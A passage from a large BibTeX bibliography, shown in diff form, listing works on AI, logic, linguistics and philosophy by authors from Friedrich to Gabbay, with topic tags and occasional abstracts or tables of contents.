Friedrich and Markus Stumptner + and Franz Wotawa}, + title = {Model-Based Diagnosis of Hardware Designs}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {111}, + number = {1--2}, + pages = {3--39}, + topic = {diagnosis;device-modeling;model-based-reasoning;} + } + +@article{ fries:1954a, + author = {Charles C. Fries}, + title = {Meaning and Linguistic Analysis}, + journal = {Language}, + year = {1954}, + volume = {30}, + number = {1}, + pages = {57--68}, + topic = {nl-semantics;} + } + +@article{ frijda:1993a, + author = {Nico H. Frijda}, + title = {The Place of Appraisal in Emotion}, + journal = {Cognition and Emotion}, + volume = {7}, + number = {3/4}, + pages = {357--387}, + year = {1993}, + topic = {emotion;} + } + +@inproceedings{ frisch:1985a, + author = {Alan M. Frisch}, + title = {Using Model Theory to Specify {AI} Programs}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Ninth Innovative + Applications of Artificial Intelligence Conference, + Vol. 1}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {148--154}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {kr;program-specification;krcourse;} + } + +@article{ frisch:1986a, + author = {Alan Frisch}, + title = {Parsing With Restricted Quantification: an Initial + Demonstration}, + journal = {Computational Intelligence}, + year = {1986}, + volume = {2}, + pages = {142--150}, + missinginfo = {number}, + topic = {parsing-algorithms;} + } + +@techreport{ frisch:1987a, + author = {Alan M. Frisch}, + title = {Knowledge Retrieval as Specialized Inference}, + institution = {Department of Computer Science, University of + Rochester}, + number = {TR 214}, + year = {1987}, + address = {Rochester, NY 14627}, + topic = {theorem-proving;taxonomic-reasoning;knowledge-retrieval;} + } + +@book{ frisch:1988a, + editor = {Alan M. Frisch}, + title = {Proceedings of the 1988 {AAAI} Workshop on Principles + of Hybrid Reasoning}, + publisher = {American Association for Artificial Intelligence}, + year = {1988}, + address = {Menlo Park, California}, + topic = {hybrid-kr-architectures;} + } + +@incollection{ frisch:1989a, + author = {Alan M. Frisch}, + title = {A General Framework for Sorted Deduction: Fundamental + Results in Hybrid Reasoning}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {126--136}, + address = {San Mateo, California}, + topic = {kr;theorem-proving;hybrid-kr-architectures;sort-hierarchies; + kr-course;} + } + +@inproceedings{ frisch-page:1990a, + author = {Alan M. Frisch and C. David {Page, Jr.}}, + title = {Generalization with Taxonomic Information}, + booktitle = {Proceedings of the Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + editor = {Thomas Dietterich and William Swartout}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + missinginfo = {pages}, + topic = {theorem-proving;taxonomic-reasoning;} + } + +@article{ frisch:1991a, + author = {Alan M. Frisch}, + title = {The Substitutional Framework for Sorted Deduction: + Fundamental Results on Hybrid Reasoning}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {49}, + number = {1--3}, + pages = {161--198}, + contentnote = {Idea is to type variables with the elements of a sort + hierarchy. This speeds up deductions considerably.}, + topic = {kr;theorem-proving;hybrid-kr-architectures;sort-hierarchies; + kr-course;} + } + +@article{ frisch-cohn:1991a, + author = {Alan M. Frisch and Anthony G. Cohn}, + title = {Thoughts and Afterthoughts on the 1988 Workshop on + Principles of Hybrid Reasoning}, + journal = {{AI} Magazine}, + year = {1981}, + volume = {11}, + number = {5}, + pages = {77--87}, + topic = {hybrid-kr-architectures;taxonomic-logics;} + } + +@incollection{ frisch-scherl:1991a, + author = {Alan M. Frisch and Richard B. Scherl}, + title = {A General Framework for Modal Deduction}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {196--207}, + address = {San Mateo, California}, + topic = {kr;theorem-proving;modal-logic;kr-course;} + } + +@article{ frisch-haddawy:1994a, + author = {Alan M. Frisch and Peter Haddawy}, + title = {Anytime Deduction for Probabilistic Logic}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {69}, + number = {1--2}, + pages = {93--122}, + acontentnote = {Abstract: + This paper proposes and investigates an approach to deduction in + probabilistic logic, using as its medium a language that + generalizes the propositional version of Nilsson's probabilistic + logic by incorporating conditional probabilities. Unlike many + other approaches to deduction in probabilistic logic, this + approach is based on inference rules and therefore can produce + proofs to explain how conclusions are drawn. We show how these + rules can be incorporated into an anytime deduction procedure + that proceeds by computing increasingly narrow probability + intervals that contain the tightest entailed probability + interval. Since the procedure can be stopped at any time to + yield partial information concerning the probability range of + any entailed sentence, one can make a tradeoff between precision + and computation time. The deduction method presented here + contrasts with other methods whose ability to perform logical + reasoning is either limited or requires finding all truth + assignments consistent with the given sentences.}, + xref = {Modification of nilsson_nj:1986a.}, + topic = {probablilty;reasoning-about-uncertainty;} + } + +@book{ fritz-hundsnurscher:1994a, + editor = {Gerd Fritz and Franz Hundsnurscher}, + title = {Handbuch der {D}ialoganalyse}, + publisher = {M. Niemeyer}, + year = {1994}, + address = {T\"ubingen}, + topic = {discourse-analysis;} +} + +@book{ frixione:1994a, + author = {Marcello Frixione}, + title = {Logica, Significato e Intelligenza Artificiale}, + publisher = {Angeli}, + year = {1994}, + address = {Milan}, + topic = {philosophy-of-language;philosophy-and-AI;} + } + +@incollection{ frohlich-etal:1996a, + author = {Peter Fr\"ohlich and Wolfgang Nejdl and Michael Schroeder}, + title = {Design and Implementation of Diagnostic Strategies Using + Modal Logic}, + booktitle = {Logics in Artificial Intelligence: European Workshop, + {Jelia}'96, Ivora, Portugal, September 30 - October 3, + 1996.}, + publisher = {Springer-Verlag}, + year = {1996}, + editor = {Jos\'e J\'ulio Alferes and Lu\'is Moniz Pereira and Ewa Orlowska}, + pages = {104--118}, + address = {Berlin}, + topic = {diagnosis;modal-logic;} + } + +@incollection{ froidevaux-etal:1991a, + author = {Christine Froidevaux and Philippe Chatalic and J\'er\^ome Mengin}, + title = {Graded Default Logics}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {70--75}, + address = {Berlin}, + topic = {default-logic;possibilistic-logic;} + } + +@book{ frolund:1996a, + author = {Svend Fr{\o}lund: An Actor-Based Approach to + Synchronization}, + title = {Coordinating Distributed Objects}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + topic = {distributed-processing;} + } + +@article{ fromhertz-etal:1999a, + author = {Markus P.J. Fromhertz and Vijay A. Saraswat and Daniel + G. Bobrow}, + title = {Model-Based Computing: Developing Flexible Machine Control + Software}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {114}, + number = {1--2}, + pages = {157--202}, + topic = {model-based-reasoning;constraint-programming;scheduling;} + } + +@incollection{ fromkin:1977a, + author = {Victoria A. Fromkin}, + title = {When Does a Test Count as a Hypothesis, or, What Counts as + Evidence?}, + booktitle = {Testing Linguistic Hypotheses}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {David Cohen and Jessica Worth}, + pages = {43--64}, + address = {New York}, + topic = {philosophy-of-linguistics;} + } + +@book{ fromkin-rodman:1988a, + author = {Victoria Fromkin and Robert Rodman}, + title = {An Introduction to Language}, + publisher = {Holt, Rinehart, and Winston}, + edition = {4}, + year = {1988}, + address = {New York}, + topic = {linguistics-intro;} + } + +@incollection{ fruhwirth:2002a, + author = {Thom Fr\"uhwirth}, + title = {As Time Goes by: Automatic Complexity Analysis of + Simplification Rules}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {547--557}, + address = {San Francisco, California}, + topic = {kr;complexity-in-AI;constraint-satisfaction;} + } + +@inproceedings{ fry:1997a, + author = {John Fry}, + title = {Negative Polarity Licensing at the Syntax-Semantics + Interface}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {144--150}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {polarity;syntax-semantics-interface;linear-logic; + compositionality;} + } + +@article{ frye:1964a, + author = {Marilyn Frye}, + title = {Inscriptions and Indirect Discourse}, + journal = {The Journal of Philosophy}, + year = {1964}, + volume = {62}, + number = {24}, + pages = {767--772}, + topic = {indirect-discourse;} + } + +@article{ frye:1973a, + author = {Marilyn Frye}, + title = {Force and Meaning}, + journal = {The Journal of Philosophy}, + year = {1973}, + volume = {70}, + number = {10}, + pages = {281--294}, + topic = {speech-acts;pragmatics;} + } + +@inproceedings{ fuchi-takagi:1998a, + author = {Takeshi Fuchi and Shinichiro Takagi}, + title = {Japanese Morphological Analyzer Using Word Co-Occurrence--- + {JTAG}}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {409--413}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {Japanese-language;computational-morphology; + word-sequence-probabilities;} +} + +@inproceedings{ fuchs:1998a, + author = {Dirk Fuchs}, + title = {Cooperation between Top-Down and Bottom-Up + Theorem Provers by Subgoal Clause Transfer}, + booktitle = {Artificial Intelligence and Symbolic Computation: + Proceedings of {AISC'98}}, + year = {1998}, + editor = {Jacques Calmet and Jan Plaza}, + pages = {157--169}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {theorem-proving;} + } + +@book{ fudenberg-tirole:1991a, + author = {D. Fudenberg and J. Tirole}, + title = {Game Theory}, + publisher = {The {MIT} Press}, + year = {1991}, + address = {Cambridge, Massachusetts}, + missinginfo = {A's 1st name.}, + topic = {game-theory;} + } + +@incollection{ fudge-shockey:1997a, + author = {Erik Fudge and Linda Shockey}, + title = {The Reading Database of Syllable Structure}, + booktitle = {Linguistic Databases}, + publisher = {{CSLI} Publications}, + year = {1997}, + editor = {John Nerbonne}, + pages = {93--102}, + address = {Stanford, California}, + topic = {linguistic-databases;} + } + +@article{ fuhrman:1999a, + author = {Andr\'e Fuhrman}, + title = {When Hyperpropositions Meet $\ldots$}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {6}, + pages = {559--574}, + topic = {paraconsistency;belief-revision;} + } + +@article{ fuhrmann:1991a, + author = {Andr\'e Fuhrmann}, + title = {Theory Contraction Through Base Contraction}, + journal = {Journal of Philosophical Logic}, + year = {1991}, + volume = {20}, + pages = {175--203}, + number = {2}, + topic = {belief-revision;} + } + +@book{ fuhrmann-morreau:1991a, + editor = {Andr\'e Fuhrmann and Michael Morreau}, + title = {The Logic of Theory Change}, + publisher = {Springer-Verlag}, + year = {1991}, + address = {Berlin}, + topic = {belief-revision;} + } + +@article{ fuhrmann-hansson:1994a, + author = {Andr\'e Fuhrmann and Sven Ove Hansson}, + title = {A Survey of Multiple Contractions}, + journal = {Journal of Logic, Language, and Information}, + year = {1994}, + volume = {3}, + number = {1}, + pages = {39--76}, + topic = {belief-revision;} + } + +@article{ fuhrmann-levi_i:1994a, + author = {Andr\'e Fuhrmann and Isaac Levi}, + title = {Undercutting and the {R}amsey Test for Conditionals}, + journal = {Synth\'ese}, + year = {1994}, + volume = {101}, + pages = {157--169}, + missinginfo = {number}, + topic = {CCCP;conditionals;probabilities;} + } + +@book{ fuhrmann-rott:1996a, + editor = {Andr\'e Fuhrmann and Hans Rott}, + title = {Logic, Action, and Information: Essays on Logic in + Philosophy and Artificial Intelligence}, + publisher = {Walter de Gruyter}, + year = {1996}, + address = {Berlin}, + ISBN = {3110139944 (alk. paper)}, + topic = {philosophical-logic;logic-in-AI;} + } + +@book{ fuhrmann:1997a, + author = {Andr\'e Fuhrmann}, + title = {An Essay on Contraction}, + publisher = {Cambridge University Press}, + year = {1997}, + address = {Cambridge, England}, + topic = {belief-revision;} + } + +@incollection{ fujii-etal:1997a, + author = {Atsushi Fujii and Toshihiro Hasegawa and Takenobu Tokunaga + and Hozumi Tanaka}, + title = {Integration of Hand-Crafted and Statistical Resources in + Measuring Word Similarity}, + booktitle = {Automatic Information Extraction and Building of + Lexical Semantic Resources for {NLP} Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Piek Vossen and Geert Adriaens and Nicoletta Calzolari + and Antonio Sanfilippo and Yorick Wilks}, + pages = {45--51}, + address = {New Brunswick, New Jersey}, + topic = {word-classification;} + } + +@article{ fujii-etal:1998a, + author = {Atsushi Fujii and Kentaro Inui and Takenobu + Tokunaga and Hozumi Tanaka}, + title = {Selective Sampling for Example-Based Word Sense + Disambiguation}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {4}, + pages = {573--597}, + topic = {lexical-disambiguation;nl-statistics;} + } + +@article{ fujimura:1984a, + author = {Osamu Fujimura}, + title = {The Role of Linguistics for Future Speech Technology}, + journal = {Bulletin of the {L}inguistic {S}ociety of {A}merica}, + year = {1984}, + pages = {4--7}, + month = {June}, + topic = {speech-recognition;} + } + +@incollection{ fujisaki-etal:1981a, + author = {T. Fujisaki and F. Jelinek and J. Cocke and E. Black + and T. Nishino}, + title = {A Probabilistic Parsing Method + for Sentence Disambiguation}, + booktitle = {Current Issues in Parsing Technology}, + publisher = {Kluwer Academic Publishers}, + year = {1981}, + editor = {Masaru Tomita}, + pages = {139--152}, + address = {Dordrecht}, + topic = {parsing-algorithms;statistical-parsing;} + } + +@inproceedings{ fujita_ke:1998a, + author = {Ken-Etzu Fujita}, + title = {Polymorphic Call-by-Value Calculus Based + on Classical Proofs}, + booktitle = {Artificial Intelligence and Symbolic Computation: + Proceedings of {AISC'98}}, + year = {1998}, + editor = {Jacques Calmet and Jan Plaza}, + pages = {170--182}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {higher-order-logic;intuitionistic-logic; + higher-order-programming-constructs;} + } + +@article{ fujita_m-etal:2000a, + author = {Masahito Fujita and Manuela Veloso and William Uther and + Minoru Asada and Hiroaki Kitano and Vincent Hugel and Patrick + Bonnin and Jean-Christophe Bouramou\'e and Pierre Blazevic}, + title = {Vision, Strategy, and Localization Using the {S}ony Legged + Robots at {R}ob o{C}up-98}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {1}, + pages = {47--56}, + topic = {robotics;RoboCup;} + } + +@article{ fukushima:1991a, + author = {Kazuhiko Fukushima}, + title = {Phrase Structure Grammar, {M}ontague Semantics, + and Floating Quantifiers in {J}apanese}, + journal = {Linguistics and Philosophy}, + year = {1991}, + volume = {14}, + number = {6}, + pages = {581--628}, + topic = {floating-quantifiers;Japanese-language;} + } + +@incollection{ fuller:1995a, + author = {Gary Fuller}, + title = {Simulation and Psychological Concepts}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {19--32}, + address = {Oxford}, + topic = {folk-psychology;mental-simulation-theory-of-folk-psychology; + propositional-attitude-ascription;} + } + +@incollection{ fumerton:1988a, + author = {Richard Fumerton}, + title = {The Internalism/Externalism Controversy}, + booktitle = {Philosophical Perspectives 2: Epistemology}, + publisher = {Blackwell Publishers}, + year = {1988}, + editor = {James E. Tomberlin}, + pages = {443--459}, + address = {Oxford}, + topic = {internal/external-properties;philosophy-of-mind;} + } + +@inproceedings{ fung:1995a, + author = {Pascale Fung}, + title = {Compiling Bilingual Lexicon Entries from a Non-Parallel + {E}nglish-{C}hinese Corpus}, + booktitle = {Proceedings of the Third Workshop on Very + Large Corpora}, + year = {1995}, + editor = {David Yarovsky and Kenneth Church}, + pages = {173--183}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {corpus-linguistics;corpus-statistics;dictionary-construction;} + } + +@inproceedings{ fung-yee:1998a, + author = {Pascale Fung and Lo Yuen Yee}, + title = {An {IR} Approach for Translating New Words from Nonparallel, + Comparable Texts}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {414--420}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {word-acquisition;} +} + +@article{ funt:1980a1, + author = {Brian V. Funt}, + title = {Problem Solving with Diagrammatic Representations}, + journal = {Artificial Intelligence}, + year = {1980}, + volume = {13}, + number = {3}, + pages = {201--230}, + acontentnote = {Abstract: + Diagrams are of substantial benefit to WHISPER, a computer + problem-solving system, in testing the stability of a ``blocks + world'' structure and predicting the event sequences which occur + as that structure collapses. WHISPER's components include a + high level reasoner which knows some qualitative aspects of + Physics, a simulated parallel processing ``retina'' to ``look + at'' its diagrams, and a set of re-drawing procedures for + modifying these diagrams. Roughly modelled after the human eye, + WHISPER's retina can fixate at any diagram location, and its + resolution decreases away from its center. Diagrams enable + WHISPER to work with objects of arbitrary shape, detect + collisions and other motion discontinuities, discover + coincidental alignments, and easily update its world model after + a state change. A theoretical analysis is made of the role of + diagrams interacting with a general deductive mechanism such as + WHISPER's high level reasoner.}, + xref = {Republication: funt:1980a2.}, + topic = {diagrams;reasoning-with-diagrams;qualitative-physics;} + } + +@incollection{ funt:1980a2, + author = {Brian V. Funt}, + title = {Problem Solving with Diagrammatic Representations}, + booktitle = {Diagrammatic Reasoning}, + publisher = {The {MIT} Press}, + year = {1995}, + editor = {Janice Glasgow and N. Hari Narayanan and B. + Chandrasekaran}, + pages = {33--68}, + address = {Cambridge, Massachusetts}, + xref = {Journal Publication: funt:1980a1.}, + topic = {diagrams;reasoning-with-diagrams;qualitative-physics;} + } + +@incollection{ furbach:1998a, + author = {Ulrich Furbach}, + title = {Introduction (to Part {I}: Tableau and Connection + Calculi)}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {I}, Foundations: Calculi and Methods}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;proof-theory;} + } + +@book{ furberg:1963a, + author = {Mats Furberg}, + title = {Locutionary and Illocutionary Acts: A Main Theme in {J}.{L}. + {A}ustin's Philosophy}, + publisher = {Elanders Boktryckerii Aktiebolag}, + year = {1963}, + address = {G\"oteborg}, + contentnote = { TC: + 1. Austin's Approach + I. The inheritance from Moore + II. Some main characteristics of Austin's approach + III. Wittgenstein and Austin + 2. The locutionary act: speech and language + I. Language + II. Language and speech + III. Speech + 3. The locutionary act: truth and knowledge + I. Truth + II. Knowledge + 4. The illocutionary act + I. Performatives and their functions + II. Two kinds of force-showing + }, + xref = {Review: searle:1966b}, + topic = {speech-acts;pragmatics;ordinary-language-philosophy;} + } + +@incollection{ furberg:1969a, + author = {Mats Furberg}, + title = {Meaning and Illocutionary Force}, + booktitle = {Symposium on J.L. Austin}, + publisher = {Routledge and Kegan Paul}, + year = {1969}, + editor = {K.T. Fann}, + pages = {445--468}, + address = {London}, + missinginfo = {E's 1st name.}, + note = {Contains a brief note by L.J. Cohen.}, + xref = {Comments on \cite{cohen_lj:1964a2}.}, + topic = {JL-Austin;speech-acts;pragmatics;} + } + +@book{ furberg:1971a, + author = {Mats Furberg}, + title = {Saying and Meaning}, + publisher = {Blackwell Publishers}, + year = {1971}, + address = {Oxford}, + topic = {speech-acts;pragmatics;ordinary-language-philosophy;} + } + +@book{ furukawa-etal:1994a, + editor = {K. Furukawa and Donald Michie and Steven H. Muggleton}, + title = {Machine Intelligence 13: Machine Intelligence and Inductive + Learning}, + publisher = {Oxford University Press}, + year = {1994}, + address = {Oxford}, + ISBN = {0198538502}, + topic = {AI-survey;induction;machine-learning;} + } + +@book{ furukawa-etal:1995a, + editor = {K. Furukawa and Donald Michie and Steven H. Muggleton}, + title = {Machine Intelligence 14: Applied Machine Intelligence}, + publisher = {Oxford University Press}, + year = {1995}, + address = {Oxford}, + ISBN = {019853860X}, + topic = {AI-survey;} + } + +@book{ furukawa-etal:1999a, + editor = {K. Furukawa, Donald Michie and Steven H. Muggleton}, + title = {Machine Intelligence 15 : Intelligent Agents}, + publisher = {Oxford University Press}, + year = {1999}, + address = {Oxford}, + ISBN = {0198538677}, + topic = {AI-survey;} + } + +@inproceedings{ furuse-etal:1998a, + author = {Osamu Furuse and Setsuo Yamada and Kazuhide Yamamoto}, + title = {Splitting Long or Ill-formed Input for Robust + Spoken-language Translation}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {421--427}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {ill-formed-nl-input;speech-to-speech-machine-translation;} +} + +@inproceedings{ fusaoka:1996a, + author = {Akira Fusaoka}, + title = {Situation Calculus on a Dense Flow of Time}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {633--638}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {temporal-reasoning;reasoning-about-continuous-time;} + } + +@book{ fussell-kreuz:1997a, + editor = {Susan R. Fussell and Roger J. Kreuz}, + title = {Social and Cognitive Approaches to Interpersonal + Communication}, + publisher = {Lawrence Erlbaum Associates}, + year = {1997}, + address = {Mahwah, New Jersey}, + topic = {pragmatics;discourse;cognitive-psychology;pragmatics;} + } + +@techreport{ gaasterland-etal:1990a, + author = {Terry Gaasterland and Jack Minker and Arcot Rajasekar}, + title = {Deductive Database Systems and Knowledge Base Systems}, + institution = {Institute for Advanced Computer Studies, + University of Maryland}, + number = {UMIACS--TR--90--116}, + year = {1990}, + address = {College Park, Maryland}, + topic = {deductive-databases;} + } + +@article{ gabbay:1972a, + author = {Dov M. Gabbay}, + title = {A General Filtration Method for Modal Logics}, + journal = {Journal of Philosophical Logic}, + year = {1972}, + volume = {1}, + number = {1}, + pages = {29--34}, + topic = {modal-logic;completeness-theorems;} + } + +@article{ gabbay:1972b, + author = {Dov M. Gabbay}, + title = {Tense Logics with Discrete Moments of Time, Part {I}}, + journal = {Journal of Philosophical Logic}, + year = {1972}, + volume = {1}, + number = {1}, + pages = {35--44}, + topic = {temporal-logic;} + } + +@article{ gabbay:1973a, + author = {Dov Gabbay}, + title = {Applications of {S}cott's Notion of Consequence to the + Study of General Binary Intensional Connectives and + Entailment}, + journal = {Journal of Philosophical Logic}, + year = {1973}, + volume = {2}, + number = {3}, + pages = {340--351}, + topic = {relevance-logic;} + } + +@article{ gabbay-moravcsik:1973a, + author = {Dov Gabbay and Julius Moravcsik}, + title = {Sameness and Individuation}, + journal = {The Journal of Philosophy}, + year = {1973}, + volume = {70}, + number = {16}, + pages = {513--526}, + topic = {identity;individuation;} + } + +@article{ gabbay:1974a, + author = {Dov M. Gabbay}, + title = {On 2nd Order Intuitionistic Propositional Calculus + with Full Comprehension}, + journal = {Annals of Mathematical Logic}, + year = {1974}, + volume = {16}, + pages = {177--186}, + missinginfo = {number}, + topic = {intuitionistic-logic;higher-order-logic;} + } + +@article{ gabbay:1975a, + author = {Dov M. Gabbay}, + title = {Model Theory for Tense Logics}, + journal = {Annals of Mathematical Logic}, + year = {1975}, + volume = {8}, + pages = {185--236}, + missinginfo = {number}, + topic = {temporal-logic;} + } + +@incollection{ gabbay:1976a, + author = {Dov M. Gabbay}, + title = {Two-Dimensional Propositional Tense Logics}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {569--583}, + address = {Dordrecht}, + topic = {temporal-logic;} + } + +@article{ gabbay-kasher:1976a, + author = {Dov M. Gabbay and Asa Kasher}, + title = {On the Semantics and Pragmatics of Specific and + Non-Specific Indefinite Expressions}, + journal = {Theoretical Linguistics}, + year = {1976}, + volume = {3}, + number = {1/2}, + pages = {145--190}, + topic = {indefiniteness;nl-semantics;} + } + +@incollection{ gabbay-rohrer:1979a, + author = {Dov Gabbay and Christian Rohrer}, + title = {Do We Really Need Tenses Other Than Future and Past?}, + booktitle = {Semantics from Different Points of View}, + year = {1979}, + editor = {Rainer B\"auerle and Urs Egli and Arnim {von Stechow}}, + publisher = {Springer-Verlag}, + address = {Berlin}, + pages = {15--20}, + topic = {nl-tense;} + } + +@incollection{ gabbay:1980a, + author = {Dov Gabbay}, + title = {Time, Tense, and Quantifiers}, + booktitle = {Proceedings of the {S}tuttgart Conference on the + Logic of Tense and Quantification}, + publisher = {Max Niemeyer Verlag}, + year = {1980}, + editor = {Christian Rohrer}, + pages = {59--82}, + address = {T\"ubingen}, + topic = {temporal-logic;tense-aspect;} + } + +@inproceedings{ gabbay-etal:1980a, + author = {Dov Gabbay and Amir Pnueli and Sharanon Shelah and + J. Stavi}, + title = {On the Temporal Analysis of Fairness}, + booktitle = {Proceedings of the Seventh {ACM} Symposium on Principles + of Programming Languages}, + year = {1980}, + pages = {163--173}, + organization = {{ACM}}, + missinginfo = {editor, publisher, address}, + topic = {program-verification;temporal-logic;} + } + +@incollection{ gabbay:1981a, + author = {Dov Gabbay}, + title = {An Irreflexivity Lemma With Applications to + Axiomatizations of Conditions on Tense Frames}, + booktitle = {Aspects of Philosophical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1981}, + editor = {Uwe M\"onnich}, + pages = {67--89}, + address = {Dordrecht}, + topic = {temporal-logic;modal-logic;completeness-theorems;} + } + +@incollection{ gabbay:1981b, + author = {Dov M. Gabbay}, + title = {Functional Completeness in Tense Logic}, + booktitle = {Aspects of Philosophical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1981}, + editor = {Uwe M\"onnich}, + pages = {91--117}, + address = {Dordrecht}, + topic = {temporal-logic;expressive-completeness;} + } + +@inproceedings{ gabbay:1982a, + author = {Dov M. Gabbay}, + title = {Intuitionistic Basis for Non-Monotonic Logic}, + booktitle = {Proceedings of the Sixth Conference on Automated + Deduction}, + year = {1982}, + editor = {Donald W. Loveland}, + number = {138}, + series = {Lecture Notes in Computer Science}, + pages = {260--273}, + publisher = {Springer-Verlag}, + address = {Berlin}, + topic = {nonmonotonic-logic;intuitionistic-logic;} + } + +@book{ gabbay-guenthner:1983a, + editor = {Dov Gabbay and Franz Guenther}, + title = {Handbook of Philosophical Logic, Volume {I}: + Elements of Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1983}, + address = {Dordrecht}, + contentnote = {TC: + 1. Wilfrid Hodges, "Elementary Predicate Logic" + 2. G\o"ran Sundholm, "Systems of Deduction" + 3. Hughes Leblanc, "Alternatives to Standard First-Order + Semantics" + 4. Johan van Bentem and Kees Doets, "Higher-Order Logic" + 5. Allen Hazen, "Predicative Logics" + 6. Dirk van Dalen, "Algorithms and Decision Problems: + A Crash Course in Decision Theory" + }, + topic = {philosophical-logic;} + } + +@book{ gabbay-guenthner:1984a, + editor = {Dov Gabbay and Franz Guenther}, + title = {Handbook of Philosophical Logic, Volume {II}: + Extensions of Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1984}, + address = {Dordrecht}, + contentnote = {TC: + 1. Robert A. Bull and Krister Segerberg, "Basic Modal + Logic" + 2. John P. Burgess, "Basic Tense Logic" + 3. Richmond H. Thomason, "Combinations of Tense and + Modality" + 4. Johan van Benthem, "Correspondence Theory" + 5. James W. Garson, "Quantification in Modal Logic" + 6. Nino B. Cocchiarella, "Philosophical Perspectives on + Quantification in Tense and Modal Logic" + 7. C. Anthony Anderson, "General Intensional Logic" + 8. Donald Nute, "Conditional Logic" + 9. Craig Smorynski, "Modal Logic and Self-Reference" + 10. David Harel, "Dynamic Logic" + 11. Lennart {\AA}qvist, "Deontic Logic" + 12. David Harrah, "The Logic of Questions" + }, + topic = {philosophical-logic;} + } + +@incollection{ gabbay:1985a, + author = {Dov M. Gabbay}, + title = {Theoretical Foundations for Non-Monotonic Reasoning in + Expert Systems}, + booktitle = {Logics and Models of Concurrent Systems}, + publisher = {Springer Verlag}, + year = {1985}, + editor = {Krzysztof R. Apt}, + pages = {439--457}, + address = {Berlin}, + topic = {kr;nonmonotonic-reasoning;expert-systems;kr-course;} + } + +@book{ gabbay-guenthner:1986a, + editor = {Dov Gabbay and Franz Guenther}, + title = {Handbook of Philosophical Logic, Volume {III}: + Alternatives in Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1986}, + address = {Dordrecht}, + contentnote = {TC: + 1. Stephen Blamey, "Partial Logic" + 2. Alisdair Urquhart, "Many-Valued Logic" + 3. J. Michael Dunn, "Relevance Logic and Entailment" + 4. Dirk van Dalen, "Intuitionistic Logic" + 5. Walter Felscher, "Dialogues as a Foundation for Intuionistic + Logic" + 6. Ermanno Bencivenga, "Free Logics" + 7. Maria Luisa dalla Chiara, "Quantum Logic" + 8. G\"oran Sundholm, "Proof Theory and 